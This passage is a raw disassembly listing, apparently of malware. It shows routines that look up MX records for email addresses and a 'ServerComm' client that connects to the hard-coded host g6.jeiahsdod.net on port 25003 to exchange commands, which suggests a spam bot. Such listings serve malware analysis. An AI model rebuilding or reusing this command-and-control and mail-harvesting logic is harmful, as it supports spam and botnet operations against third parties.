mov ecx, [eax+8] cmp [ecx+39h], bl jnz short loc_40B159 jmp short loc_40B142 ; --------------------------------------------------------------------------- loc_40B140: ; CODE XREF: sub_40B11B+2Cj mov ecx, eax loc_40B142: ; CODE XREF: sub_40B11B+23j mov eax, [ecx] cmp [eax+39h], bl jz short loc_40B140 mov [esi+4], ecx jmp short loc_40B164 ; --------------------------------------------------------------------------- loc_40B14E: ; CODE XREF: sub_40B11B+44j mov ecx, [esi+4] cmp ecx, [eax+8] jnz short loc_40B161 mov [esi+4], eax loc_40B159: ; CODE XREF: sub_40B11B+21j mov eax, [eax+4] cmp [eax+39h], bl jz short loc_40B14E loc_40B161: ; CODE XREF: sub_40B11B+39j mov [esi+4], eax loc_40B164: ; CODE XREF: sub_40B11B+19j ; sub_40B11B+31j mov eax, esi pop ebx retn sub_40B11B endp ; =============== S U B R O U T I N E ======================================= sub_40B168 proc near ; CODE XREF: sub_40AC8B+36p mov eax, offset loc_41AEF1 call sub_41AE44 mov eax, [ebp+8] push ebx mov [esi], eax mov eax, [ebp+0Ch] push edi mov ebx, ecx mov [esi+4], eax mov eax, [ebp+10h] lea edi, [esi+0Ch] push ebx mov ecx, edi mov [esi+8], eax mov [ebp+8], edi call sub_401C1E and dword ptr [ebp-4], 0 add ebx, 1Ch push ebx lea ecx, [edi+1Ch] call sub_401C1E mov ecx, [ebp-0Ch] pop edi mov byte ptr [esi+44h], 0 mov byte ptr [esi+45h], 0 mov eax, esi pop ebx mov large fs:0, ecx leave retn 0Ch sub_40B168 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B1BF proc near ; CODE XREF: sub_409E2A+1B0p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx mov ebx, eax sub eax, [ebp+arg_0] push edi cdq push 38h pop ecx idiv ecx mov edi, [ebp+arg_4] imul eax, 38h sub edi, eax cmp [ebp+arg_0], ebx jz short loc_40B1FD mov eax, [ebp+arg_4] sub eax, ebx push esi mov [ebp+arg_4], eax jmp short loc_40B1EA ; --------------------------------------------------------------------------- loc_40B1E7: ; CODE XREF: sub_40B1BF+3Bj mov eax, [ebp+arg_4] loc_40B1EA: ; CODE XREF: sub_40B1BF+26j sub ebx, 38h lea esi, [eax+ebx] mov eax, ebx call sub_4076C2 cmp ebx, [ebp+arg_0] jnz short loc_40B1E7 pop esi loc_40B1FD: ; CODE XREF: sub_40B1BF+1Bj mov eax, edi pop edi pop ebx pop ebp retn sub_40B1BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B203 proc near ; CODE XREF: sub_406E16+EEp ; sub_40A022+A2p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push edi xor eax, eax lea edi, [ebp+var_4] stosb push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_4] push [ebp+arg_0] call sub_407141 add esp, 10h pop edi leave retn 8 sub_40B203 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B227 proc near ; CODE XREF: sub_40A022+1CEp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, eax sub eax, [ebp+arg_0] push 2Ch cdq pop ecx idiv ecx mov ebx, [ebp+arg_4] imul eax, 2Ch sub ebx, eax cmp [ebp+arg_0], edi jz short loc_40B263 mov eax, [ebp+arg_4] sub eax, edi mov [ebp+arg_4], eax jmp short loc_40B253 ; --------------------------------------------------------------------------- loc_40B250: ; CODE XREF: sub_40B227+3Aj mov eax, [ebp+arg_4] loc_40B253: ; CODE XREF: sub_40B227+27j sub edi, 2Ch lea esi, [eax+edi] call sub_4076E5 cmp edi, [ebp+arg_0] jnz short loc_40B250 loc_40B263: ; CODE XREF: sub_40B227+1Dj pop edi pop esi mov eax, ebx pop ebx pop ecx pop ebp retn sub_40B227 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B26B proc near ; CODE XREF: sub_40A246+A2p ; sub_40A246+C0p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push edi xor eax, eax lea edi, [ebp+var_4] stosb push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_4] push [ebp+arg_0] call sub_40B3C2 add esp, 10h pop edi leave retn 8 sub_40B26B endp ; =============== S U B R O U T I N E ======================================= sub_40B28F proc near ; CODE XREF: sub_40993D+1Ap mov eax, offset loc_41AF94 call sub_41AE44 push ecx push ecx mov eax, [ebp+8] and dword ptr [ebp-4], 0 push ebx push esi push edi mov [ebp-10h], esp mov [ebp-14h], eax loc_40B2AB: ; CODE XREF: sub_40B28F+34j cmp dword ptr [ebp+0Ch], 0 jbe short loc_40B2E0 push dword ptr [ebp+8] mov ecx, [ebp+10h] call sub_40738D dec dword ptr [ebp+0Ch] add dword ptr [ebp+8], 38h jmp short loc_40B2AB ; --------------------------------------------------------------------------- loc_40B2C5: ; DATA XREF: .vty:004203DCo mov esi, [ebp-14h] jmp short loc_40B2D2 ; --------------------------------------------------------------------------- loc_40B2CA: ; CODE XREF: sub_40B28F+46j call sub_4072AA add esi, 38h loc_40B2D2: ; CODE XREF: sub_40B28F+39j cmp esi, [ebp+8] jnz short loc_40B2CA push 0 push 0 call sub_4107BC loc_40B2E0: ; CODE XREF: sub_40B28F+20j mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn sub_40B28F endp ; =============== S U B R O U T I N E ======================================= sub_40B2EF proc near ; CODE XREF: sub_4099EC+1Bp mov eax, offset loc_41B33E call sub_41AE44 sub esp, 0Ch mov eax, [ebp+8] and dword ptr [ebp-4], 0 push ebx push esi push edi mov [ebp-10h], esp mov [ebp-14h], eax loc_40B30C: ; CODE XREF: sub_40B2EF+35j cmp dword ptr [ebp+0Ch], 0 jbe short loc_40B34F push dword ptr [ebp+8] mov edi, [ebp+10h] call sub_4073B7 dec dword ptr [ebp+0Ch] add dword ptr [ebp+8], 2Ch jmp short loc_40B30C ; --------------------------------------------------------------------------- loc_40B326: ; DATA XREF: .vty:00420D8Co mov edi, [ebp-14h] jmp short loc_40B341 ; --------------------------------------------------------------------------- loc_40B32B: ; CODE XREF: sub_40B2EF+55j lea esi, [edi+1Ch] call sub_405AAC push 0 push 1 mov ecx, edi call sub_4013C4 add edi, 2Ch loc_40B341: ; CODE XREF: sub_40B2EF+3Aj cmp edi, [ebp+8] jnz short loc_40B32B push 0 push 0 call sub_4107BC loc_40B34F: ; CODE XREF: sub_40B2EF+21j mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn sub_40B2EF endp ; =============== S U B R O U T I N E ======================================= sub_40B35E proc near ; CODE XREF: sub_409A9C+1Ap mov eax, offset loc_41AF8A call sub_41AE44 push ecx push ecx mov eax, [ebp+8] and dword ptr [ebp-4], 0 push ebx push esi push edi mov [ebp-10h], esp mov [ebp-14h], eax loc_40B37A: ; CODE XREF: sub_40B35E+34j cmp dword ptr [ebp+0Ch], 0 jbe short loc_40B3B3 push dword ptr [ebp+10h] mov ecx, [ebp+8] call sub_407365 dec dword ptr [ebp+0Ch] add dword ptr [ebp+8], 1Ch jmp short loc_40B37A ; --------------------------------------------------------------------------- loc_40B394: ; DATA XREF: .vty:00420384o mov esi, [ebp-14h] jmp short loc_40B3A5 ; --------------------------------------------------------------------------- loc_40B399: ; CODE XREF: sub_40B35E+4Cj push 1 mov ecx, esi call sub_4013C4 add esi, 1Ch loc_40B3A5: ; CODE XREF: sub_40B35E+39j cmp esi, [ebp+8] push 0 jnz short loc_40B399 push 0 call sub_4107BC loc_40B3B3: ; CODE XREF: sub_40B35E+20j mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn sub_40B35E endp ; =============== S U B R O U T I N E ======================================= sub_40B3C2 proc near ; CODE XREF: sub_40B26B+17p mov eax, offset loc_41AF80 call sub_41AE44 sub esp, 24h push ebx push esi mov esi, [ebp+0Ch] push edi xor ebx, ebx mov [ebp-10h], esp mov edi, ecx push ebx lea ecx, [ebp-30h] mov [ebp-14h], esi mov dword ptr [ebp-18h], 0Fh call sub_401564 mov [ebp-4], ebx mov byte ptr [ebp-4], 1 loc_40B3F6: ; CODE XREF: sub_40B3C2+56j cmp edi, [ebp+8] jz short loc_40B439 lea eax, [ebp-30h] push eax mov ecx, esi call sub_407365 mov eax, edi mov ecx, esi call sub_40B455 add esi, 1Ch mov [ebp+0Ch], esi add edi, 1Ch jmp short loc_40B3F6 ; --------------------------------------------------------------------------- loc_40B41A: ; DATA XREF: .vty:0042032Co mov esi, [ebp-14h] jmp short loc_40B42B ; --------------------------------------------------------------------------- loc_40B41F: ; CODE XREF: sub_40B3C2+6Ej push 1 mov ecx, esi call sub_4013C4 add esi, 1Ch loc_40B42B: ; CODE XREF: sub_40B3C2+5Bj cmp esi, [ebp+0Ch] push 0 jnz short loc_40B41F push 0 call sub_4107BC loc_40B439: ; CODE XREF: sub_40B3C2+37j push ebx push 1 lea ecx, [ebp-30h] call sub_4013C4 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx pop ebx leave retn sub_40B3C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B455 proc near ; CODE XREF: sub_40A246+1C0p ; sub_40B3C2+48p var_10 = byte ptr -10h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi lea edx, [ecx+4] mov esi, edx lea edi, [ebp+var_10] movsd movsd movsd movsd lea ebx, [eax+4] mov edi, edx mov esi, ebx movsd movsd movsd movsd mov edi, ebx lea esi, [ebp+var_10] movsd movsd movsd movsd mov esi, [eax+14h] mov edx, [ecx+14h] mov [ecx+14h], esi mov esi, [eax+18h] mov [eax+14h], edx mov edx, [ecx+18h] pop edi mov [ecx+18h], esi pop esi mov [eax+18h], edx pop ebx leave retn sub_40B455 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B49B proc near ; DATA XREF: .vty:0041EB5Co var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = byte ptr -44h var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp and esp, 0FFFFFFF8h push 0FFFFFFFFh push offset SEH_40B49B mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 40h push ebx xor ebx, ebx push esi push edi mov edi, ecx mov [esp+58h+var_4C], ebx mov [esp+58h+var_38], ebx mov [esp+58h+var_34], ebx mov [esp+58h+var_30], ebx lea esi, [edi+8] mov [esp+58h+var_4], ebx mov [esp+58h+var_48], esi call sub_406402 cmp dword ptr [eax+18h], 10h jb short loc_40B4EB mov eax, [eax+4] jmp short loc_40B4EE ; --------------------------------------------------------------------------- loc_40B4EB: ; CODE XREF: sub_40B49B+49j add eax, 4 loc_40B4EE: ; CODE XREF: sub_40B49B+4Ej push ebx lea ecx, [esp+5Ch+var_4C] push ecx push ebx push ebx push 0Fh push eax call sub_40D772 ; DnsQuery_A test eax, eax jnz short loc_40B54F mov esi, [esp+58h+var_4C] jmp short loc_40B540 ; --------------------------------------------------------------------------- loc_40B508: ; CODE XREF: sub_40B49B+A7j cmp word ptr [esi+8], 0Fh jnz short loc_40B53E push dword ptr [esi+18h] lea ecx, [esp+5Ch+var_2C] call sub_401C44 lea eax, [esp+58h+var_2C] push eax lea eax, [esp+5Ch+var_3C] mov byte ptr [esp+5Ch+var_4], 1 call sub_409560 push ebx push 1 lea ecx, [esp+60h+var_2C] mov byte ptr [esp+60h+var_4], bl call sub_4013C4 loc_40B53E: ; CODE XREF: sub_40B49B+72j mov esi, [esi] loc_40B540: ; CODE XREF: sub_40B49B+6Bj cmp esi, ebx jnz short loc_40B508 push 1 push [esp+5Ch+var_4C] call sub_40D778 ; DnsRecordListFree loc_40B54F: ; CODE XREF: sub_40B49B+65j lea eax, [esp+58h+var_3C] call sub_4057B6 test eax, eax jz short loc_40B588 mov edi, [edi+4] lea eax, [esp+58h+var_3C] push eax push [esp+5Ch+var_48] call sub_402AA0 loc_40B56D: ; CODE XREF: sub_40B49B+140j lea esi, [esp+58h+var_3C] call sub_405AAC mov ecx, [esp+58h+var_C] pop edi pop esi mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_40B588: ; CODE XREF: sub_40B49B+BFj mov esi, [esp+58h+var_48] call sub_406402 mov esi, eax mov edi, [esi+20h] add esi, 1Ch cmp edi, [esi+8] jbe short loc_40B5A3 call sub_40DCFC loc_40B5A3: ; CODE XREF: sub_40B49B+101j mov dword ptr [esp+58h+var_44], esi mov [esp+58h+var_40], edi loc_40B5AB: ; CODE XREF: sub_40B49B+19Dj mov esi, [esp+58h+var_48] call sub_406402 mov esi, eax mov edi, [esi+24h] add esi, 1Ch cmp [esi+4], edi jbe short loc_40B5C6 call sub_40DCFC loc_40B5C6: ; CODE XREF: sub_40B49B+124j cmp dword ptr [esp+58h+var_44], ebx jz short loc_40B5D2 cmp dword ptr [esp+58h+var_44], esi jz short loc_40B5D7 loc_40B5D2: ; CODE XREF: sub_40B49B+12Fj call sub_40DCFC loc_40B5D7: ; CODE XREF: sub_40B49B+135j cmp [esp+58h+var_40], edi jz short loc_40B56D lea esi, [esp+58h+var_44] call sub_409835 mov byte ptr [eax+59h], 4 call sub_409835 add eax, 1Ch cmp dword ptr [eax+18h], 10h jb short loc_40B5FD mov edi, [eax+4] jmp short loc_40B600 ; --------------------------------------------------------------------------- loc_40B5FD: ; CODE XREF: sub_40B49B+15Bj lea edi, [eax+4] loc_40B600: ; CODE XREF: sub_40B49B+160j lea esi, [esp+58h+var_44] call sub_409835 cmp dword ptr [eax+18h], 10h jb short loc_40B614 mov eax, [eax+4] jmp short loc_40B617 ; --------------------------------------------------------------------------- loc_40B614: ; CODE XREF: sub_40B49B+172j add eax, 4 loc_40B617: ; CODE XREF: sub_40B49B+177j push edi push eax push offset aNomxS@S ; "nomx: %s@%s\n" call sub_4024A7 push eax push 5 pop ecx call sub_40195C add esp, 10h lea esi, [esp+58h+var_44] call sub_40556B jmp loc_40B5AB sub_40B49B endp ; --------------------------------------------------------------------------- loc_40B63D: ; CODE XREF: .vty:0041B0B7j jmp sub_40B9E7 ; =============== S U B R O U T I N E ======================================= sub_40B642 proc near ; CODE XREF: sub_405089+65p mov eax, offset loc_41B4FA call sub_41AE44 sub esp, 84h push esi push edi mov esi, ecx call sub_40B9E7 push 0 push 1 push 2 call dword_41C1E4 ; socket cmp eax, 0FFFFFFFFh mov [esi+4], eax jnz short loc_40B69A push offset aServercommConn ; "ServerComm::connect: cannot create sock"... lea ecx, [ebp-3Ch] call sub_401C44 and dword ptr [ebp-4], 0 lea eax, [ebp-3Ch] push eax lea ecx, [ebp-58h] call sub_401C1E push offset dword_41FF2C lea eax, [ebp-58h] loc_40B694: ; CODE XREF: sub_40B642+B4j ; sub_40B642+10Dj push eax call sub_4107BC loc_40B69A: ; CODE XREF: sub_40B642+2Bj push 61ABh mov word ptr [ebp-20h], 2 call dword_41C1EC ; ntohs mov edi, offset aG6_jeiahsdod_n ; "g6.jeiahsdod.net" push edi mov [ebp-1Eh], ax call dword_41C200 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp-1Ch], eax jnz short loc_40B70E push edi call dword_41C218 ; gethostbyname test eax, eax jnz short loc_40B6F8 push offset aServercommCo_0 ; "ServerComm::connect: unknown host" lea ecx, [ebp-58h] call sub_401C44 lea eax, [ebp-58h] push eax lea ecx, [ebp-3Ch] mov dword ptr [ebp-4], 1 call sub_401C1E push offset dword_41FF2C lea eax, [ebp-3Ch] jmp short loc_40B694 ; --------------------------------------------------------------------------- loc_40B6F8: ; CODE XREF: sub_40B642+8Aj movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp-1Ch] push eax call sub_410050 add esp, 0Ch loc_40B70E: ; CODE XREF: sub_40B642+7Fj push 10h lea eax, [ebp-20h] push eax push dword ptr [esi+4] call dword_41C204 ; connect test eax, eax jz short loc_40B754 push offset aServercommCo_1 ; "ServerComm::connect: cannot connect" lea ecx, [ebp-74h] call sub_401C44 lea eax, [ebp-74h] push eax lea ecx, [ebp-90h] mov dword ptr [ebp-4], 2 call sub_401C1E push offset dword_41FF2C lea eax, [ebp-90h] jmp loc_40B694 ; --------------------------------------------------------------------------- loc_40B754: ; CODE XREF: sub_40B642+DDj push 0 push 7 push 1 push 0 mov edx, esi call sub_40BB24 mov ecx, [ebp-0Ch] add esp, 10h pop edi mov large fs:0, ecx pop esi leave retn sub_40B642 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B774 proc near ; CODE XREF: sub_40376E+172p ; sub_405089+201p var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push esi push 2 pop eax push 0 push 7 push eax push 0 push [ebp+arg_0] lea esi, [ebp+var_C] mov [ebp+var_C], eax mov [ebp+var_8], 8 call sub_40BA6E add esp, 14h pop esi leave retn 4 sub_40B774 endp ; =============== S U B R O U T I N E ======================================= sub_40B7A2 proc near ; CODE XREF: sub_405089+22Ap mov eax, offset loc_41B4D8 call sub_41AE44 sub esp, 68h push ebx xor ebx, ebx push esi xor ecx, ecx push edi mov [ebp-70h], ebx mov [ebp-6Ch], ecx mov [ebp-68h], ebx mov [ebp-4], ebx mov eax, [ebp+0Ch] mov edx, [eax+4] mov dword ptr [ebp-34h], 4 mov edi, [edx] mov [ebp-28h], edi mov [ebp-2Ch], eax loc_40B7D7: ; CODE XREF: sub_40B7A2+1E9j cmp [ebp-2Ch], ebx mov esi, [eax+4] jz short loc_40B7E4 cmp [ebp-2Ch], eax jz short loc_40B7EC loc_40B7E4: ; CODE XREF: sub_40B7A2+3Bj call sub_40DCFC mov ecx, [ebp-6Ch] loc_40B7EC: ; CODE XREF: sub_40B7A2+40j cmp edi, esi jz loc_40B990 lea ebx, [ebp-11h] lea esi, [ebp-74h] mov byte ptr [ebp-11h], 0FFh call sub_40C270 mov esi, [ebp-2Ch] test esi, esi jnz short loc_40B80F call sub_40DCFC loc_40B80F: ; CODE XREF: sub_40B7A2+66j cmp edi, [esi+4] jnz short loc_40B819 call sub_40DCFC loc_40B819: ; CODE XREF: sub_40B7A2+70j mov al, [edi+1Ch] lea ebx, [ebp-11h] lea esi, [ebp-74h] mov [ebp-11h], al call sub_40C270 mov esi, [ebp-2Ch] cmp edi, [esi+4] jnz short loc_40B837 call sub_40DCFC loc_40B837: ; CODE XREF: sub_40B7A2+8Ej cmp edi, [esi+4] lea ebx, [edi+8] jnz short loc_40B844 call sub_40DCFC loc_40B844: ; CODE XREF: sub_40B7A2+9Bj mov eax, [ebp-6Ch] cmp [ebp-70h], eax mov [ebp-18h], eax jbe short loc_40B854 call sub_40DCFC loc_40B854: ; CODE XREF: sub_40B7A2+ABj lea eax, [ebp-4Ch] mov ecx, ebx lea esi, [ebp-74h] call sub_405492 mov ebx, [eax] mov eax, [eax+4] mov [ebp-38h], eax lea eax, [ebp-54h] lea ecx, [edi+8] call sub_405472 push dword ptr [ebp-38h] mov ecx, esi push ebx push dword ptr [eax+4] push dword ptr [eax] push dword ptr [ebp-18h] push esi push dword ptr [ebp+0Ch] call sub_40C844 mov eax, [ebp-2Ch] cmp edi, [eax+4] jnz short loc_40B898 call sub_40DCFC loc_40B898: ; CODE XREF: sub_40B7A2+EFj lea esi, [edi+24h] mov ebx, [esi+4] cmp ebx, [esi+8] jbe short loc_40B8A8 call sub_40DCFC loc_40B8A8: ; CODE XREF: sub_40B7A2+FFj mov [ebp-24h], esi mov [ebp-20h], ebx loc_40B8AE: ; CODE XREF: sub_40B7A2+1D1j mov eax, [ebp-2Ch] cmp edi, [eax+4] jnz short loc_40B8BB call sub_40DCFC loc_40B8BB: ; CODE XREF: sub_40B7A2+112j lea esi, [edi+24h] mov ebx, [esi+8] cmp [esi+4], ebx jbe short loc_40B8CB call sub_40DCFC loc_40B8CB: ; CODE XREF: sub_40B7A2+122j cmp dword ptr [ebp-24h], 0 jz short loc_40B8D6 cmp [ebp-24h], esi jz short loc_40B8DB loc_40B8D6: ; CODE XREF: sub_40B7A2+12Dj call sub_40DCFC loc_40B8DB: ; CODE XREF: sub_40B7A2+132j cmp [ebp-20h], ebx jz loc_40B978 lea esi, [ebp-24h] call sub_409835 mov ebx, eax add ebx, 59h lea esi, [ebp-74h] call sub_40C270 lea esi, [ebp-24h] call sub_409835 mov al, [eax+14h] lea ebx, [ebp-11h] lea esi, [ebp-74h] mov [ebp-11h], al call sub_40C270 lea esi, [ebp-24h] call sub_409835 mov ebx, eax call sub_409835 mov [ebp-18h], eax mov eax, [ebp-6Ch] cmp [ebp-70h], eax mov [ebp-1Ch], eax jbe short loc_40B934 call sub_40DCFC loc_40B934: ; CODE XREF: sub_40B7A2+18Bj lea eax, [ebp-5Ch] mov ecx, ebx lea esi, [ebp-74h] call sub_405492 mov ebx, [eax] mov eax, [eax+4] mov ecx, [ebp-18h] mov [ebp-40h], eax lea eax, [ebp-64h] call sub_405472 push dword ptr [ebp-40h] mov ecx, esi push ebx push dword ptr [eax+4] push dword ptr [eax] push dword ptr [ebp-1Ch] push esi push dword ptr [ebp+0Ch] call sub_40C844 lea esi, [ebp-24h] call sub_40556B jmp loc_40B8AE ; --------------------------------------------------------------------------- loc_40B978: ; CODE XREF: sub_40B7A2+13Cj lea esi, [ebp-2Ch] call sub_405D8F mov ecx, [ebp-6Ch] mov edi, [ebp-28h] mov eax, [ebp+0Ch] xor ebx, ebx jmp loc_40B7D7 ; --------------------------------------------------------------------------- loc_40B990: ; CODE XREF: sub_40B7A2+4Cj mov edx, [ebp-70h] cmp edx, ebx jnz short loc_40B99B xor eax, eax jmp short loc_40B99F ; --------------------------------------------------------------------------- loc_40B99B: ; CODE XREF: sub_40B7A2+1F3j mov eax, ecx sub eax, edx loc_40B99F: ; CODE XREF: sub_40B7A2+1F7j add eax, 8 cmp edx, ebx mov [ebp-30h], eax jz short loc_40B9AD sub ecx, edx jnz short loc_40B9B2 loc_40B9AD: ; CODE XREF: sub_40B7A2+205j call sub_40DCFC loc_40B9B2: ; CODE XREF: sub_40B7A2+209j push ebx push dword ptr [ebp-70h] lea esi, [ebp-34h] push dword ptr [ebp+8] call sub_40BA6E add esp, 0Ch cmp [ebp-70h], ebx mov esi, eax jz short loc_40B9D4 push dword ptr [ebp-70h] call sub_40DD8A pop ecx loc_40B9D4: ; CODE XREF: sub_40B7A2+227j mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx pop ebx leave retn 8 sub_40B7A2 endp ; =============== S U B R O U T I N E ======================================= sub_40B9E7 proc near ; CODE XREF: sub_40260A+6Ap ; .vty:loc_40B63Dj ... mov eax, [esi+4] cmp eax, 0FFFFFFFFh jnz short loc_40B9F2 xor al, al retn ; --------------------------------------------------------------------------- loc_40B9F2: ; CODE XREF: sub_40B9E7+6j push eax call dword_41C1E8 ; closesocket or dword ptr [esi+4], 0FFFFFFFFh mov al, 1 retn sub_40B9E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA00 proc near ; CODE XREF: sub_40BB2D+30p ; sub_40BB2D+128p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi xor esi, esi cmp [ebp+arg_8], esi jbe short loc_40BA30 loc_40BA0B: ; CODE XREF: sub_40BA00+2Ej mov eax, [ebp+arg_8] sub eax, esi push 0 push eax mov eax, [ebp+arg_4] add eax, esi push eax mov eax, [ebp+arg_0] push dword ptr [eax+4] call dword_41C1E0 ; recv test eax, eax jle short loc_40BA32 add esi, eax cmp esi, [ebp+arg_8] jb short loc_40BA0B loc_40BA30: ; CODE XREF: sub_40BA00+9j mov eax, esi loc_40BA32: ; CODE XREF: sub_40BA00+27j pop esi pop ebp retn 0Ch sub_40BA00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA37 proc near ; CODE XREF: sub_40BA6E+16p ; sub_40BA6E+5Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi xor esi, esi cmp [ebp+arg_8], esi jbe short loc_40BA67 loc_40BA42: ; CODE XREF: sub_40BA37+2Ej mov eax, [ebp+arg_8] sub eax, esi push 0 push eax mov eax, [ebp+arg_4] add eax, esi push eax mov eax, [ebp+arg_0] push dword ptr [eax+4] call dword_41C1F0 ; send test eax, eax jle short loc_40BA69 add esi, eax cmp esi, [ebp+arg_8] jb short loc_40BA42 loc_40BA67: ; CODE XREF: sub_40BA37+9j mov eax, esi loc_40BA69: ; CODE XREF: sub_40BA37+27j pop esi pop ebp retn 0Ch sub_40BA37 endp ; =============== S U B R O U T I N E ======================================= sub_40BA6E proc near ; CODE XREF: sub_405089+D1p ; sub_405089+186p ... mov eax, offset loc_41B4C6 call sub_41AE44 sub esp, 70h push ebx push 8 push esi push dword ptr [ebp+8] xor ebx, ebx call sub_40BA37 cmp eax, 8 jz short loc_40BAB8 push offset aServercommDoco ; "ServerComm::doCommand: disconnected whi"... lea ecx, [ebp-28h] call sub_401C44 and [ebp-4], ebx lea eax, [ebp-28h] push eax lea ecx, [ebp-44h] call sub_401C1E push offset dword_41FF2C lea eax, [ebp-44h] loc_40BAB2: ; CODE XREF: sub_40BA6E+93j push eax call sub_4107BC loc_40BAB8: ; CODE XREF: sub_40BA6E+1Ej cmp [ebp+0Ch], ebx jz short loc_40BB03 mov eax, [esi+4] sub eax, 8 push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40BA37 mov ecx, [esi+4] sub ecx, 8 cmp eax, ecx jz short loc_40BB03 push offset aServercommDo_0 ; "ServerComm::doCommand: disconnected whi"... lea ecx, [ebp-60h] call sub_401C44 lea eax, [ebp-60h] push eax lea ecx, [ebp-7Ch] mov dword ptr [ebp-4], 1 call sub_401C1E push offset dword_41FF2C lea eax, [ebp-7Ch] jmp short loc_40BAB2 ; --------------------------------------------------------------------------- loc_40BB03: ; CODE XREF: sub_40BA6E+4Dj ; sub_40BA6E+69j cmp [ebp+10h], ebx jz short loc_40BB15 mov edx, [ebp+8] lea ecx, [ebp+10h] call sub_40BB2D mov ebx, eax loc_40BB15: ; CODE XREF: sub_40BA6E+98j mov ecx, [ebp-0Ch] mov eax, ebx mov large fs:0, ecx pop ebx leave retn sub_40BA6E endp ; =============== S U B R O U T I N E ======================================= sub_40BB24 proc near ; CODE XREF: sub_40B642+11Cp arg_4 = byte ptr 8 lea ecx, [esp+arg_4] jmp $+5 sub_40BB24 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BB2D proc near ; CODE XREF: sub_40BA6E+A0p var_AC = dword ptr -0ACh var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = byte ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = byte ptr -80h var_64 = byte ptr -64h var_48 = byte ptr -48h var_2C = byte ptr -2Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp and esp, 0FFFFFFF8h push 0FFFFFFFFh mov eax, large fs:0 push offset loc_41B4AC push eax mov large fs:0, esp sub esp, 90h push ebx push esi push edi push 8 lea eax, [esp+0ACh+var_9C] mov esi, edx push eax push esi mov edi, ecx call sub_40BA00 cmp eax, 8 jz short loc_40BB9A push offset aServercommGetr ; "ServerComm::getResponse: disconnected w"... lea ecx, [esp+0ACh+var_80] call sub_401C44 and [esp+0A8h+var_4], 0 lea eax, [esp+0A8h+var_80] push eax lea ecx, [esp+0ACh+var_64] call sub_401C1E push offset dword_41FF2C lea eax, [esp+0ACh+var_64] loc_40BB94: ; CODE XREF: sub_40BB2D+D5j ; sub_40BB2D+111j ... push eax call sub_4107BC loc_40BB9A: ; CODE XREF: sub_40BB2D+38j push 4 pop ebx add edi, ebx lea ecx, [edi-4] jmp short loc_40BBAA ; --------------------------------------------------------------------------- loc_40BBA4: ; CODE XREF: sub_40BB2D+83j test eax, eax jz short loc_40BBD2 add ecx, ebx loc_40BBAA: ; CODE XREF: sub_40BB2D+75j mov eax, [ecx] cmp eax, [esp+0A8h+var_9C] jnz short loc_40BBA4 sub [esp+0A8h+var_98], 8 jnz short loc_40BC04 loc_40BBB9: ; CODE XREF: sub_40BB2D+238j mov ecx, [esp+0A8h+var_C] mov eax, [esp+0A8h+var_9C] pop edi pop esi mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_40BBD2: ; CODE XREF: sub_40BB2D+79j push offset aServercommGe_0 ; "ServerComm::getResponse: unexpected res"... lea ecx, [esp+0ACh+var_64] call sub_401C44 lea eax, [esp+0A8h+var_64] push eax lea ecx, [esp+0ACh+var_80] mov [esp+0ACh+var_4], 1 call sub_401C1E push offset dword_41FF2C lea eax, [esp+0ACh+var_80] jmp short loc_40BB94 ; --------------------------------------------------------------------------- loc_40BC04: ; CODE XREF: sub_40BB2D+8Aj cmp [esp+0A8h+var_98], 1FFFFFh jbe short loc_40BC43 push offset aServercommGe_1 ; "ServerComm::getResponse: insane respons"... lea ecx, [esp+0ACh+var_64] call sub_401C44 lea eax, [esp+0A8h+var_64] push eax lea ecx, [esp+0ACh+var_80] mov [esp+0ACh+var_4], 2 call 